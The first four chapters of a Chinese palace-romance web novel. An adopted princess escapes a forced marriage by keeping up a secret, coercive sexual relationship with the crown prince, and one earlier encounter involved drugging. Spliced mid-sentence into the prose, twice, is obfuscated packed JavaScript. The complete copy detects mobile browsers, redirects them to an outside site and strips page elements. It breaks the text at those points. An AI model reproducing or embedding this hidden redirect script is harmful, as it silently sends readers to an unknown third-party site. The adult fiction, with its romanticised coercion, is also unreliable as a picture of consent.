《委身偏执皇兄后》 1. 第 1 章 “淳和公主，难道你还打算抗旨吗？” 斥责声落下，坤宁宫内瞬间鸦雀无声。 宫人们蓦地屏住呼吸，放轻手脚，有胆大的瞧了瞧座上严词厉色的严嬷嬷，又转过头，望向宫殿中央那道单薄倩影。 被贯下这么大一顶罪名，萧棠竟丝毫不见慌乱，款款起身向座上的皇后行礼：“请皇后娘娘明鉴，儿臣不敢。” 高座上雍贵的美妇人一言不发，身边的严嬷嬷继续道：“陛下金口玉言，已经答应了回屹可汗的请求。淳和公主若无心抗旨，此刻便不该再来坤宁宫叫人为难。” 严嬷嬷一边说着，一边观察着萧棠的神色。 没得到皇后亲口的免礼，少女便自觉地继续保持着垂首欠身的姿态，长睫低垂，脸上没有半分怨怼，模样柔顺极了，叫人想挑都挑不出刺。 有文人惊鸿一瞥后作诗诵淳和公主玉容如花秾，如今萧棠已逾十七，出落正好，便是衣着简素、不施粉黛，也掩不住那副明艳如海棠的好颜色。 入京拜见天颜的回屹可汗就是对这般绝色一见钟情。他打听到淳和公主是江南人士，直接向皇帝请旨，想让淳和公主在明日的朝贡会上为他介绍大邺赏赐的江南丝织等物。 这介绍是虚，找个由头提出和亲才是真。皇帝没有说破，却答应得十分爽快，圣意昭然若揭。 淳和公主乃陛下义女，并非天家血脉，父母俱亡，亲族无靠，连让从中斡旋此事的人都没有，阖宫上下谁还不知道她远嫁和亲已经是板上钉钉。 偏生淳和公主不死心，走投无路后又求到了坤宁宫。 皇后不方便说的话，严嬷嬷却能直接挑明：“回屹可汗昨日既已亲口过问淳和公主的名姓，公主还是此时还好好准备明日的朝贡会比较好。” 萧棠却似是没听懂话外的逐客令。少女抬起睫毛，乌湛湛的眸子忽略掉她，直直望着皇后，轻声问：“他想要，儿臣便必须得答应吗？” 没料到她会这般问，别说严嬷嬷脸色大变，连皇后都不由一愣，定睛望向她。 “陛下宽宏大量，可儿臣却怕那外邦人狼子野心。他想要儿臣，儿臣便得奉上，倘若他日后得寸进尺，想要的不只是一个女子，岂不是……” 话音未落，四下皆是一惊，几道声音同时斥她：“大胆！” 萧棠垂眸，自觉拜伏在地：“儿臣失言，请皇后娘娘降罪。” 她跪下时更显得身形弱不胜衣，弯下的细颈不堪一折。或许是因为最近常常称病足不出户，雪肤白得愈发如剔透的玉。 如此纤弱温顺的模样，真叫人看不出刚刚那番话是出自她之口。 半晌过去，皇后终于悠悠开口，声线和缓，瞧着并未动怒：“你身子不好，先起来吧。” 待萧棠起身，皇后又出了声，却不是在同她说话：“太子那边可有口信，明日朝贡会能否归程？” 萧棠轻屏住气息。 “此次涿州沙灾事大，太子几日不曾来信，怕是分，身乏术。”严嬷嬷连忙补充，“不过太子纯孝，知道娘娘近来喜欢鲛绡纱，立即叫人送来孝敬您。” 皇后默了默，道：“呈上拿给淳和吧，本宫久居深宫，用不上这些新鲜。” 很快，托着鲛绡纱的玉盘就被宫女呈到萧棠面前。 萧棠不受宠，没有见过多少世面，却知晓那波光粼粼、薄若蝉翼的纱帛一尺千金，价值不亚于贡品。 皇帝一年到头给潇湘殿的赏赐，恐怕也不及这一回的手笔。 严嬷嬷走到她身边，压低声音：“皇后娘娘的意思，公主可明白了？” 萧棠紧紧抿住唇角。明白，怎么不明白。 皇后不会无缘无故赏她这么贵重的东西。这分明是不准备帮忙，又想面子上过得去，就打算用这些赏赐把她打发出去，也堵了宫中悠悠之口。 明知如此，她还不能不感激涕零。宫中贵人一向恩威并施，不受恩，便只能受威了。 “公主还不谢恩，莫不是对皇后娘娘心存怨意？” 果不其然，见她没有及时叩拜，严嬷嬷面色一凉，一刻也不等地唤人进来：“来人，送淳和公主回殿，好好看着公主，明日朝贡会之前不许公主——” “太子殿下到！” 太监尖细的通报声猝不及防打断了殿中动静，众人俱是一惊，原本押着萧棠的宫人更是立即松开了手。 严嬷嬷最先反应过来，连忙带领着宫人们毕恭毕敬跪了一地。偌大的大殿中央只剩萧棠一人站着。 身后传来不紧不慢的步伐声，一点比一点清晰。萧棠回过神，薄肩不由轻绷。 步伐由远及近，那道颀长挺拔的身形最终站定在她身边，与她隔着刚刚好半尺。 不远不近的距离，落在任何人眼中都再正常不过，却足够让萧棠闻见他周身檀香沉沉。熟悉的味道织成一张细密无形的网，轻而易举将她笼罩其中。 男人身着云纹织锦华服，腰束玉带，外披鹤羽大氅。哪怕她垂首时看不见他的脸庞，光瞥见那周身气度，也叫人忍不住叹服其神姿高彻，如瑶林玉树。 当今太子魏珣有清正君子之风，德才兼备，言为世范，行成士则，天下文人无不敬奉追随。 外边下着大雨，他却衣不沾湿，仪态齐整从容，举手投足间像是从君子颂中走出来的人物。 “母后万安。”魏珣嗓音似清泉流泻，“儿臣方才入京面圣，来不及通知坤宁宫中。” 皇后急问：“怎么这么突然，是不是涿州出了什么岔子？听你舅舅说此次确实棘手，莫非——” “沙灾已定，儿臣入宫是为另一件要事。” 萧棠年前早听闻燕京周边沙灾肆虐，离这儿三个时辰外的涿州尤为灾情凶恶，牵连到了天子脚下，连燕京都人心惶惶。 朝廷连派了四五位重臣无济于事，惹得龙颜大怒，险些过不完一个安稳的年。 太子殿下临危受命不过两月，竟这么快就力挽狂澜，解决了这个烫手山芋。 萧棠望着魏珣侧颜，好巧不巧，男人也忽地侧眸看向她。 视线交汇，那双墨玉似的瞳仁平静无澜。 萧棠低下脸避开魏珣的目光，轻声道：“皇兄安好。” 她跟魏珣没有半分血缘之亲，但因为封了公主，也跟着其他的公主皇子一起唤魏珣一声皇兄。 宫中不少人背后说她有意攀亲沾故，太子殿下却从未否认过这个称谓，对她的态度与对其他兄弟姊妹也无异。 魏珣语调温和：“许久不见皇妹来坤宁宫了。” 话音一落，萧棠便觉得自己的脸快要被严嬷嬷盯穿，像是生怕她又不自量力求到太子殿下面前。 “娘娘惦记着我，特地召我来受赏。” 萧棠侧过身对着皇后又行一礼，自觉道：“多谢娘娘恩典，臣先行告退，不叨扰您……” 魏珣仍在看她，少女顿了一下：“还有皇兄。” 最后两个字，她不由自主放得很轻。 短暂的兄妹寒暄到此为止。没看魏珣有何反应，萧棠快步退了出去。 她一走到檐下，就见先前押着她的两个宫女围了上来。 只是没等那两人走到她身边，背对着她们的魏珣忽然开了口。 “雨天路滑，”男人低缓的声线自不远处传来，如落玉相击，敲落在人心尖，直叫萧棠心中打鼓，“吴年，送淳和公主一程。” 小太监连忙应声，走到萧棠身边，麻利地撑开随身的竹骨伞。 那两个宫女见状，你看看我，我看看你，没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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下巴被冰凉修长的指节捏住，男人抬起她的脸。 萧棠望向他，乖巧地唤道：“皇兄。” 魏珣垂眸睨着她，表情看不出喜怒，嗓音低而平淡：“怎么不直接来求我。” “沙灾严峻，我不敢随意打扰皇兄大事。” 男人的目光深不可测，萧棠心头纷乱，生怕被他看出些端倪，别开脸，柔声岔开话题：“吴年今早才说皇兄会回来，我原本想去过坤宁宫后再出宫等着。皇兄送来的东西，我都已经按吩咐穿戴整齐……” 魏珣松开手，意味不明地低嗤了声：“脱了。” 车厢里立即安静了下来。 太子殿下的命令从来不说第二次，也不需要说第二次。 无论再荒唐，她都只有照做的份。 绯红迅速自脸颊攀上白玉似的耳朵，哪怕已经不是第一回，萧棠此刻仍旧羞到了极点，指尖缓缓搭上衣襟，半晌没解开，止不住地发颤。 悬着的灯挂摇晃，烛光净如银，照映着四下陈设。入眼处皆雅致清淡，不沾染半分生人气，唯有从雪白毡毯上长出的这枝海棠沾了露水，娇艳欲滴。 潇湘殿一向用度平常，萧棠不想引人注目，哪怕魏珣赐过她许多绫罗绸缎，她平日所着衣裙依旧都只是普通的料子。 谁也不会想到那层层素锦下的小衣会暴殄天物地用鲛绡纱织成，一尺千金的稀世纱帛柔软地贴着，隐约透出晶莹剔透的白。 马车外风雨肆虐，声响嘈杂，马车内，与她本该有云泥之别的男人衣冠楚楚，闲适倚着背靠，指节抬高她的下巴，视线往下一寸寸扫过那片雪腻酥香。 2. 第 2 章 灯挂噼啪刺啦接连不断，车厢内太过静谧，本该细微得难以辨别的声音在此时格外清晰。 萧棠长睫飞速扇动，避开对上魏珣的眼睛。然而她还是能清清楚楚地感觉到魏珣的视线划过她的脸，脖颈，锁骨…… 那目光如有实质，令她像被火星跟冰粒交替刺过，烫得近乎消融。 年前她先装了好久的病避着魏珣，接着又等来魏珣接手沙灾之事后离京，算下来两人已有快三个月没见过。 直到今早吴年来潇湘殿告诉她魏珣已准备返京的消息，顺便捎带上了太子殿下给她的赏赐。 魏珣一时兴起给她送过不少稀奇古怪的玩意，萧棠自以为早已习以为常。然而打开檀木盒看见这件小衣一角，她还是一下子就被惊得面红耳赤。 太子殿下私底下的趣味，远比她想象的还要恶劣得多。 然而如今除了来求魏珣，萧棠也再别无他法。历朝历代前去那片蛮夷之地和亲的宗室女都不得善终。 回屹不止时局动荡，其风俗更是骇人听闻，什么父死子继、兄终弟及，嫁过去的中原女子看似身份高贵，实际上在那儿连个人都算不上，形同被买卖转手的器物，不过几年，身上便没剩下几块好肉。 她不愿意。 好不容易在燕京如履薄冰地活在现在，眼见马上就能自由，她不想落得那样的下场。 魏珣仍不开口，少女轻吸了一口气，手指攥紧垂落的衣裾，欲要主动开口。 ——“砰！” 车轮毂忽然发出巨响，马车猛烈晃动，萧棠眼前一花，只觉后背被一股无形的大力猛推了把，直直向前栽去。 若非男人伸手扶住了她的肩头，只怕她会直接一头扑到他腿间。 她还惊魂未定，就听见马车外吴年紧张告罪：“殿下，方才是大雨冲破了路，车夫没看清，可有惊扰到您？” 萧棠生生咽下了到嘴边的惊呼。 魏珣的掌仍落在肩上，她借势撑着地毯稳住身子。两人间原本就不远的距离忽的一下拉得极近，萧棠的上半身几乎完全贴着他华贵的衣袍下摆。 少女的裙裾与男人的衣边交叠在一起，松散垂下的鲛绡纱抚过鹿皮靴面，墨黑的鹿皮靴上覆过一层朦胧的柔光。 哪怕有一帘之隔，哪怕清楚吴年不会窥见车厢内一丝一毫，萧棠瞧见如此情形还是不由窘迫。想蜷过身，刚一动，肩上的力道就重了一点。 萧棠不再动了，乖乖维持原样。 魏珣的视线移开，指节却一下没一下地轻轻摩挲着她肩头的肌肤。落在肩上的青丝被抚得凌乱。 明明是极为亲密无间的动作，他却做得很随意，不像调，情，倒像平日闲来无事时把玩常戴的那串佛珠。 “无事，路况如何？” 男人的指节犹如玉雕，修长，冰冷，指腹却覆了一层薄薄的茧，抚过时能感觉到若有若无的粗粝。少女的呼吸声不由随着他手上的动作紊乱起来。 始作俑者却仍旧十分平静。 等吴年汇报完路况，他道：“派人去一趟安抚司。” 萧棠只知道安抚司是跟赈灾有关的官衙。 沙灾之后若逢大雨，最怕水泄土崩，后患无穷。为了预防燕京以及周边涿州等地洪灾，安抚司这时候必须得打起十二分的精神。 燕京城四衢八街，难免有顾及不周之处，若不闹出事故，惹得圣上追究，大多人都睁一眼闭一眼，秉承着多一事不如少一事的心，魏珣却不同。 对百姓而言，魏珣确实是个极好的英明储君。 但对萧棠而言……此时肩头的痒意连成一片，明显得无法忽视，魏珣却似未察觉她的异样，还在继续若无其事地吩咐着帘外人。 不知道多久过去，外边终于恢复了安静。马车继续行驶，魏珣收回手，视线重新移回了她的脸上。 萧棠的手臂聊胜于无地遮起身前，脸已经红得快滴血：“皇……” 此情此景，剩下那个字实在没脸再说出来，最后都含糊成听不见的音节。 “你的，还是吴年的主意？” 完全没想过的问题。萧棠一愣，抬头望向魏珣。 视线交汇的那一刻，电光石火之间，她忽地想清楚了关窍。 今早吴年拿给她此物，旁敲侧击提醒她去迎接太子，她虽有许多心思，却从未怀疑过真假。 魏珣不是没有叫她换上那种穿不出去的衣裳。他在世人眼中是处事清介、庄重疏远的玉面菩萨，在她面前却早已懒得掩饰骨子里的恶劣凉薄。 赠她如此名贵的纱帛，却专门做成如此轻薄于人的式样，萧棠知道魏珣能做得出这种事。 可听魏珣的言外之意，这式样不是他的吩咐，是吴年擅自揣度太子殿下的心思，让她这般讨好魏珣。 就如同一年前，吴年默许被下药的她误闯入太子院中。 在魏珣眼里，这全都像是她刻意为之的引，诱。 意识到这一点，萧棠的脸颊骤地滚烫。她匆匆拢上衣衫遮掩好，往后挪着解释：“不是我——” 话刚说出口，她从一旁铜镜中瞧见了魏珣眼底玩味，像是被人当头浇下一盆冷水，瞬间清醒过来。 这般阴差阳错的误会，费尽口舌解释又有什么用，不过叫太子殿下觉得她心口不一。 可让她承认，她又实在说不出口。 唇瓣嗫嚅了一会儿，萧棠别开脸，紧紧捏着衣襟，迟迟没说出句所以然。 一阵凉风吹过，冷意顺着帷帘缝隙争先恐后涌入。少女的脸颊飞红若霞，分不清是冷的还是羞恼的。 答案已经显而易见，魏珣道：“过来。” 攥着衣襟的手指一下子用力得发白，萧棠不知道他又一时兴起要做什么。 但太子殿下的命令向来不容违背，饶是她再忐忑，也不得不期期艾艾地移了过去。 刚到他身边坐下，魏珣便忽地侧过身。男人修长的身影覆了过来。 她下意识往后蜷缩，腰肢却被不由分说地搂住，紧接着便压下一阵厚重的暖意。 对男人来讲正正好好的鹤羽大氅披在她身上实在太过宽大，羽翎间涌出了几缕若有若无的檀香，暧昧不明地拂过她的脖颈。 世间罕见的金銮鹤羽驱散了周身寒冷，萧棠心头紧绷的弦骤地一松。 魏珣不计较，她自然识趣，倚到男人肩上，又轻又柔地道：“多谢皇兄垂怜。” 头顶上响起的声线意味难辨：“就会这一句？” 萧棠哪里想得出多余的好听话，就是想起来，对着魏珣那张清冷得似是没有七情六欲的脸庞，也根本一个字都说不出来。 贝齿碾过唇瓣，她没有吭声，柔白的指尖却前伸过去，轻轻勾了勾男人腰间月白滚金的束带。 足足一年，她已经学会了有求于太子时应该怎么做。 马车正好停在宫外某处看似并不起眼的宅院门前。太子居东宫，鲜少有人知道他在宫外还有一处私邸。 这处宅邸的装潢与东宫大相径庭，红幢翠盖，香尽满城风。而在此处的太子殿下，亦与东宫那位光风霁月的储君截然相反。 庭竹密密深深，簌簌作响，掩去猛烈拍打的疾风骤雨。素来温和的男人常年拉弓骑马，并非旁人想象中那般文弱静敛。 “殿、殿下，”灯火摇晃，她的声气也跟着断断续续，“我同回屹和亲之事——” “专心。” 不轻不重两个字，把萧棠所有想问想说的话都堵回去。 许久未有纾解的男人不知轻重，着实令萧棠难以招架。桌案上的杂物被晃得散落一地，她都不记得自己什么时候昏死过去，又什么时候重新醒了过来。 一睁开眼，最先袭来的便是难言的酸软，萧棠缓了好半晌才终于有了点力气，撑着丝衾勉强坐起身。 绣着衮龙纹样的床幔引入眼帘，平常纤尘不染的地方如今乱得一塌糊涂，足以窥见先前的情状有多教人脸热。 身旁不知何时空了，一寸千金的鲛绡纱被撕开扯裂，随意扔在榻边。 侍女早已等候多时，听见动静连忙迎上来，恭敬地道：“姑娘，奴婢伺候您更衣洗漱。” 邸墙之内，无论是跟随魏珣到此张罗的宫侍，还是一直在这儿伺候的仆婢，都绝口不提她的身份，只含糊地称一声“姑娘”。 萧棠轻应。她浑身乏软，乖乖任由着侍女忙前忙后的摆布，换上崭新的淡粉缎裙。 因着她在此处折损了太多件衣裙，每回一来，不需要吩咐，下人便会颇具眼力地在旁边备上新的。 她先前装病躲着魏珣，为了装得更像回事，有意少吃几口，腰肢清减了些，衣裙穿上身竟也正合尺寸，分毫不差。 缎裙也许是在魏珣的衣裳边放了一段时辰，沾染了几分他素日的味道，清冷而熟悉的焚木檀香随即扑鼻而来。 太子少时受得道高僧赏识，在护国寺习过佛法，入朝为政后也一直保留着焚香诵经的习惯。 经年累月下来，拂袖之间都带着旃檀气息，矜贵凛然，不可冒犯。 萧棠低垂下眼，轻声提醒侍女：“避子汤呢？” 似是没料到她会主动问起，正在绾发的侍女愣了一下，才命下人将一直温着的汤药端上来。 玉盘里还贴心地放了蜜饯，萧棠没动，端起瓷碗一饮而尽。 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他新换了一身纤尘不染的寝衣。魏珣洁癖很重，萧棠早有耳闻。 她袅袅拜伏，柔声道：“皇兄。” 哗啦一声，密函翻过一页。 魏珣没应她，偌大的屋室只听见不远处的侍女扑通跪地，紧张而急促地向太子告罪。 “皇兄，”少女膝行到他脚边，手竟大着胆子去抱魏珣的腰，下巴也顺势枕在他膝上，嗓音楚楚，“阿棠方才做了一个噩梦，醒后独处于室，心头恍惚，还以为梦已成真……” 她轻声喃着传闻中宗室女远嫁回屹后种种可怖的场景，有几分是装出的可怜，也有几分是当真惧怕。 魏珣任由她亲近着，视线却似乎还落在那密函上，也不知道将她的话听进去了几分。 “阿棠孤身一人，若无皇兄庇护，在深宫中便如履薄冰，时时心惊胆颤。” 察觉到男人的目光上移，落在她的脸侧，萧棠低垂的眉眼愈发的轻而哀愁，指尖攥住他腰际衣料，语气柔顺极了：“傍晚的朝贡会，皇兄会同阿棠一起去吗？” 话音落下，一片安静，她的心也跟着提了起来。 顷刻后，魏珣伸手撩开她散落在密函上的发丝，不咸不淡地道：“朝贡会搁置，不必去了。” 萧棠愣住。 她想过魏珣可能命人帮她周旋，却没有想过处理得这般干脆。 她回过神，连忙歪过脸，像只猫似的蹭了蹭魏珣的手，依赖的姿态真切了几分：“怪阿棠没用，招惹来那么多是非，最后还得麻烦皇兄解决，幸亏有皇兄，不然……” 后颈突然被捏了一下，未说话的话变成一声低嗔。 ……昨夜三番五次便罢，还来？ 然而刚刚承了魏珣的好处，就算想翻脸不认人也不能挑这个时候。萧棠攥紧了他的寝衣，乖乖地受着。 她的乖顺丝毫没有勾起太子殿下怜香惜玉的心思。男人毫不收敛力道，手掌往下，正好碰到她肩颈后被宫女弄出的伤处。 萧棠吃痛，忍不住轻呀出声。 魏珣不但没收手，指节还摩挲了下伤口：“疼？” 简直是明知故问。萧棠低低道：“很疼。” 头顶上响起声短暂的轻嗤：“那在坤宁宫时怎么不说。” 萧棠一愣，唰的抬眸望向男人沉静的脸庞。 她被宫女押住时，他明明还没有来。 魏珣却似乎只是随口一问，并不在意她的答案。大掌将她往下压，少女垂下眼，掩住眸中闪烁，轻咬起唇，自觉而乖顺地低下头去。 妖姬脸似花含露，金炉既馥，玉磬吞香。 ………… 纵使身子不支，萧棠也仍旧在辰时前回了宫。 潇湘殿大门紧闭，寂寥幽静，只在不起眼处悄悄开了一扇暗门。贴身侍女瑞雪早已等候多时，一见着她便急匆匆地迎了上来，扶她入殿。 萧棠要来两盏茶水，反复清了清口，又听见瑞雪问：“殿下，和亲之事如何了？” 萧棠轻声解释，“魏珣答应了帮我，不必太担心。” 瑞雪松了口气，可很快又面露忧色：“殿下既又去求了太子，那先前那些避着太子的算计，岂不是都统统作了废……” 萧棠伸手抚上颈后的伤口，低声道：“作废了也罢。” 她后怕地想，太子殿下手眼通天，若真要查她，她那些小动作想必瞒不过去。 万幸魏珣对她并不上心，所以并未发觉，她真正的心思，是利用完他之后就想跑。 3. 第 3 章 瑞雪继续问：“那殿下往后还要继续在太子面前装病吗？” “不必了。” 从前是她天真，足不出户躲着魏珣有什么用。 说到底，她及笄未嫁，又没有亲族相护，在这天潢贵胄遍地的燕京城便如一叶扁舟，身不由己。一旦她招惹上了麻烦，除了去求魏珣，还能去求谁？ 躲了那么久，兜兜转转，还是不得不主动匍匐在太子榻前，委身以求庇佑。 装病这条路走不通，她已准备用别的法子。 萧棠步入内殿。汤桶里已铺上新鲜的花瓣，正泛着热腾腾的雾气。 每次她从太子私邸回来，都要重新沐浴更衣一遍。 瑞雪为她褪下层层锦缎，瞧见那雪白皮肉上深深浅浅的痕迹，忍不住嘶了口凉气：“太子未免太过分了一点！” 她自幼跟在淳和公主身边，清楚萧棠肌肤有多细嫩娇弱，稍微磕碰便会留下印子，更何况这遍体的斑驳暧昧，也不知道要养上几日才见好。 一根纤细的手指挡住她的嘴巴，萧棠并未恼，轻声道：“我自己来吧。你出去取些新的银丝炭，顺便打听打听朝贡会搁置的事情。” 瑞雪自知失言，愧赧地应喏退下。 转眼只剩萧棠一人。寻常的贵族女子身边至少有四五个侍女伺候，她却早习惯了亲自梳洗打扮，慢吞吞地沐浴，擦拭，用太医院特制的药膏覆过身痕。 虽然不让瑞雪说那些大不敬的话，可萧棠也不免在心头抱怨。 有些人瞧着人模狗样，怎么一到夜里下手便又狠又重？ 而且……还有一处难以启齿，就是魏珣实在太大了。 她未出阁，也还未受过教习嬷嬷指导，不知道寻常阴阳相合之道，是否都会有如此“不合”的情况。 但她与魏珣，只能用极为不合来形容。 就连第一回有药物相催，她都难以承受，更不要提后来每回，她都是将嘴唇咬出血来才能勉强忍着疼。 万幸的是魏珣并不重欲，见她不频繁，一月约莫就一两回。 若是碰上像沙灾这样的大事，他忙得抽不开身，更是两个月都不会想起她。 就算她主动缠他，也顶多是一夜的事，天一亮，他定会克制得点到为止，从不流连。 这般断断续续的相会，竟然已经保持了一年有余。 外殿忽地传来动静，萧棠回过神，擦干净微湿的发梢，换好衣衫，快步走了出去。 瞧见来人的模样，她原本还算松快的心不由得一紧。 无事不登三宝殿，严嬷嬷可是坤宁宫的掌事，怎么会亲自会来潇湘殿这般偏僻的地方？ 少女拢过衣襟，将颈间遮得严严实实后才走了上去，柔柔笑道：“嬷嬷安好。” 严嬷嬷眼神凌厉，一扫殿中景象。 萧棠心头咯噔了一下。 还好她向来谨慎，东宫送来再好的器物都拿去压了箱底，偶有几件放在内殿，外殿还是一律从简。 饶是严嬷嬷眼神老辣，也瞧不出这潇湘殿的陈设有什么不对。 也不会知道昨日皇后赏赐时才会赐给她的鲛绡纱，早已被太子殿下拿来做了她的小衣。 她佯装疑惑：“我刚刚沐浴更衣，打算梳妆准备出席朝贡会。嬷嬷前来所为何事？” “公主难道还不知道吗，”严嬷嬷道，“回屹可汗昨夜在馆驿酒后犯浑，挑衅使臣，还对陛下出言不逊，惹得陛下大怒，朝贡也只得推迟。” 这么天大的变故！萧棠面上不显，心下却着实一震。 清晨时男人闲适的模样忽地闯入脑海。他倚在青灯旁随意地翻着密函，看起来一派云淡风轻，与世无争。 事关两国纷争，太子殿下知晓多少，又谋划了多少？ 她不敢细想，只是发梢上的水珠泛起一缕淡淡的寒意，钻入后颈之中。 严嬷嬷还看着她，萧棠低下头：“潇湘殿消息闭塞，多谢嬷嬷特来告知。” 严嬷嬷：“淳和公主，恕老奴直言，你也知道圣意如何。那可汗与你的亲事是作了废，但可汗的弟弟效忠大邺，有望取而代之，陛下也愿意把你另配于他——” 少女的指尖扣住掌心。 “还多亏太子替你说了一句情，此事才作了罢。” 萧棠险些以为自己听错：“太子？”替她说情？ 严嬷嬷不错过她脸上神色一丝一毫的变化：“公主当真半点没预料到，也没私底下求过太子殿下？” 她专门来此，正是为了问清此事。 魏珣在众臣前说她是忠臣遗孤，安置京中可抚民心。 不止是替她说情，更是在替她父亲洗冤。 萧棠的身份何其微妙，沾上了都说不清。 皇帝当年北上清君侧，萧棠的父亲功不可没。萧父战死，皇帝大恸，当着众人的面立誓收遗孤萧棠作义女。后面登基一统，萧棠也自然而然成了异姓公主。 可天家薄情，随着当年那一批宿将功臣流放的流放、抄斩的抄斩，萧父当年的同僚被抄家审问，几桩关于萧父的旧事也跟着翻了出来，直指他那时与叛党联系，疑有不臣之心。 斯人已逝，此事不好追究，亲口封的公主身份也不好再罢黜，可谁还不知道皇帝心里有了疙瘩。 朝廷上正是多事之秋，太子忽地替萧棠说话，皇帝这般多疑，若是受人挑唆，怀疑太子与萧父的同僚、那群抄家的叛党有干系可怎么办？ 这淳和公主瞧着柔弱可欺，可严嬷嬷混迹宫中多年，一眼就认定萧棠绝对是个有手段的，指不准私底下如何卖弄算计。 “嬷嬷误会，我的确不曾求过太子殿下，更不曾预料他会帮我说话……” 前半句假，后半句却是真。 她知晓自己的身份窘迫。魏珣想帮她周旋，大可派幕僚手下，怎会亲自替她说情？ 严嬷嬷眯了眯眼，咄咄逼人：“淳和公主，皇后娘娘特地差了老奴前来问询，若你有半句假话，后果可想而知。” 萧棠水润的桃花眼直直望向她，反问道：“那嬷嬷觉得，前朝的事，我一介女流何能左右？” 严嬷嬷一顿。 第二回了，她第二回被一个还未满十七的小姑娘噎得不知道说什么好。 后宫干政是大忌，萧棠问得轻巧，可她再多答一句都是错。 冗长的寂静过去，萧棠话锋一转，主动给了台阶：“太子殿下宅心仁厚，惦念义妹，我对娘娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15774838|174660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与太子的恩情感激不尽，若嬷嬷见着太子，还麻烦替我谢过他。” 这一番话下来滴水不漏，把严嬷嬷剩余的话全堵回了嗓子眼。 严嬷嬷张了张嘴，欲言又止了半天，只挤出一个“好”字，沉着脸甩手而去。 萧棠目送着她回坤宁宫复命。 直至老妪的身影渐渐变小，小成一个看不见的黑点，少女才迟迟地收回了目光。 严嬷嬷前脚刚走，后脚，瑞雪便带着同样的消息回来。 “殿下，奴婢自知不该多嘴，但是、但是，”瑞雪支吾了半晌，最后还是没忍住问道，“殿下之前说打算与太子撇清干系，那现在……” 萧棠静了静。 “太子殿下对我有恩，我自然该真心实意地感谢他。” 她垂下眸，轻轻摆弄着指尖：“但用这种法子求人，不是长久之计。” 哪怕她并非天家血脉，未上玉牒，可到底是以公主身份在宫中长至及笄，也跟着称魏珣一声皇兄。 就这一点，就足够让人大作文章。 太子殿下是克己复礼的储君，是天上皎皎月，远山皑皑雪，怎容丝毫淤泥沾身。 若有朝一日东窗事发，只可能是她千夫所指，万劫不复。 可她不想死，她想要离开燕京城，离开这些是非纷争，不再受人觊觎，也不再供人消遣取乐。 要怪就怪一年前去行宫避暑时，有位世子瞧上了她。她中了药不愿屈从，稀里糊涂求到魏珣面前，上了他的榻，阴差阳错与他有了一段见不得光的关系。 太子殿下是天之骄子，指缝里漏出的一点东西都足够护她安稳，令她受宠若惊。 代价就是他要她做什么便做什么，他想怎么逗弄她便怎么逗弄她。 萧棠心知肚明，对魏珣而言，她与那些拿来教皇子晓事的宫人其实没有任何区别。 可她当初还不知自己中的是什么药，瑟瑟发抖求到他面前时，是真把他当做了太子哥哥。 她惯不受宠，在宫中宴席总位列末席，没有靠近魏珣的机会，每回都只能远远瞧见他颀长清俊的身形。 大多数时候，都只能看见他的背影。 还能听身边人说他总角之年巧胜三军的传奇事迹，说他是燕京城万千姑娘的春闺梦中人，说他温润仁善，对几个庶妹都很好，会为她们精心准备生辰礼。 那年长宁公主生辰，东宫送了一对西域寻来的不倒翁，用最上等的红玛瑙与祖母绿镶嵌，闪闪发光，憨态可掬，比席上其余的生辰礼都要别出心裁。 宴后，长宁公主追出去同魏珣道谢。 长宁公主一口一个“太子哥哥”，魏珣笑着应下，揉了揉她的脑袋，温声叫她慢些，小心摔了。 她在一堆人中探长了脖子去瞧，想看清楚那一高一低的身影，还有魏珣脸上温和的笑意。 那是太久之前的事。 萧棠偏过脑袋，望向萧瑟飘摇的窗景。 久到她都快忘了，她曾经最想要的生辰礼，就是太子哥哥也能摸一摸她的脑袋。 “到了下月，我便及笄一年了。” 少女的声音虽轻，却分外坚定，“在那之前，我一定要跟他断干净的。” 4. 第 4 章 接下来几日，萧棠寸步不离潇湘殿，只陆陆续续从瑞雪口中听说回屹来使已经乱作了一团。 折腾了一通，似乎还换了一个新可汗，是原来那人随行进京的弟弟。 朝贡会重新举行，萧棠仍旧称病缺席，未有现身。 由于先前那一出出插曲，她低调些也正合了今上的意。坤宁宫为了面子上过得去，还大手一挥送来了不少冬虫夏草，美其名曰让她好好养着身子。 来送药材的内侍宫女成列出入，惜薪司、御膳房的人瞧了，也都锦上添花派了人手来问候淳和公主，潇湘殿一时间门庭若市，比之前热闹数倍。 至于东宫，送来的除了寻常那些，还有……一本避火图。 萧棠起初还没发现那本小册有什么不对，直到撇开书衣一角，隐约瞧见里头的画作，脑子才轰的一下炸开。 “啪”的一声，她合上书，抛到一旁的炭火盆中。 火焰一下子窜得极高，吓得瑞雪大惊失色：“殿下……！” 她辨认出火中的书页，似是吴年公公专程让她送到自家公主手里的那本册子。 吴年公公还特地对她说了，这是他托人去宫外找的东西，绝不可让旁人看见，似乎是个宝贝，怎的殿下看也没看就直接烧了？ 萧棠胸口起伏，呼吸着平复心头羞愤。 她不愿与瑞雪细说里面的内容，也根本说不出口，好半晌后才道：“烧了就烧了，没什么可惜。” 哪怕只看了一眼，她也认出那些东西的用途，不就是宫外那些人教习瘦马以色侍人的手段。 卖弄风情，婉转承欢，寻常人家的女儿这辈子都不必学的东西。 瑞雪看着她的脸色，隐隐有猜测：“该不会是吴年公公不满殿下之前的行径，想敲打殿下……” 萧棠说：“与他无关。” 她与吴年说着有主仆之分，其实不过都是战战兢兢讨东宫欢心的可怜人。 这份图册同那件小衣没什么区别，她若要讨好太子殿下，只得绞尽脑汁想出各种法子。她不想，吴年怕她惹魏珣不高兴，也会替她想的。 东宫帮了她这么一个大忙，她要是懂事，自然该准备一份“厚礼”。 